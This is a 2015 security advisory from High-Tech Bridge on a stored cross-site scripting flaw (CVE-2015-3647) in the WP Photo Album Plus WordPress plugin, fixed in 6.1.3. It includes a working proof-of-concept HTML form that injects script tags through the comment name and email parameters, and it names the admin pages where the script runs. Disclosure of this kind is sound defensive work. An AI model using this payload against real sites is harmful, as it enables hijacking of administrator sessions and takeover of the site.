Stored XSS in WP Photo Album Plus WordPress Plugin

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23257
Product: WP Photo Album Plus WordPress Plugin
Vendor: J.N. Breetvelt
Vulnerable Version(s): 6.1.2 and probably prior
Tested Version: 6.1.2
Advisory Publication:  April 29, 2015  [without technical details]
Vendor Notification: April 29, 2015 
Vendor Patch: April 29, 2015 
Public Disclosure: May 20, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-3647
Risk Level: Medium 
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered stored XSS vulnerability in 
WP Photo Album Plus WordPress plugin, which can be exploited to perform 
Cross-Site Scripting attacks against administrators of vulnerable WordPress 
installation. An attacker might be able to hijack administrator’s session and 
obtain full control over the vulnerable website.

The vulnerability exists due to the absence of filtration of user-supplied 
input passed via the "comname" and "comemail" HTTP POST parameters to 
"/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" script when 
posting a comment. 

A remote attacker can post a specially crafted message containing malicious 
HTML or script code and execute it in administrator’s browser in context of the 
vulnerable website, when administrator views images or comments in 
administrative interface. 

A simple exploit below will store JS code in the WP database and display a JS 
popup window with "ImmuniWeb" word every time the administrator views comments 
or images:


<form 
action="http://[host]/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php";
 method="post" name="main">
<input type="hidden" name="action"  value='wppa'>
<input type="hidden" name="wppa-action"  value='do-comment'>
<input type="hidden" name="photo-id"  value='2'>
<input type="hidden" name="comment"  value='1'>
<input type="hidden" name="moccur"  value='1'>
<input type="hidden" name="comemail"  
value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="hidden" name="comname"  
value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="submit" id="btn">
</form>


The code will be automatically executed, when the administrator visits one of 
the following pages:

http://[host]/wp-admin/admin.php?page=wppa_manage_comments
http://[host]/wp-admin/admin.php?page=wppa_moderate_photos

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Solution:

Update to WP Photo Album Plus 6.1.3

More Information:
https://wordpress.org/plugins/wp-photo-album-plus/changelog/

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References:

[1] High-Tech Bridge Advisory HTB23257 - 
https://www.htbridge.com/advisory/HTB23257 - Stored Cross-Site Scripting (XSS) 
in WP Photo Album Plus WordPress Plugin.
[2] WP Photo Album Plus WordPress plugin - 
https://wordpress.org/plugins/wp-photo-album-plus/ - This plugin is designed to 
easily manage and display your photos, photo albums, slideshows and videos in a 
single as well as in a network WP site.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.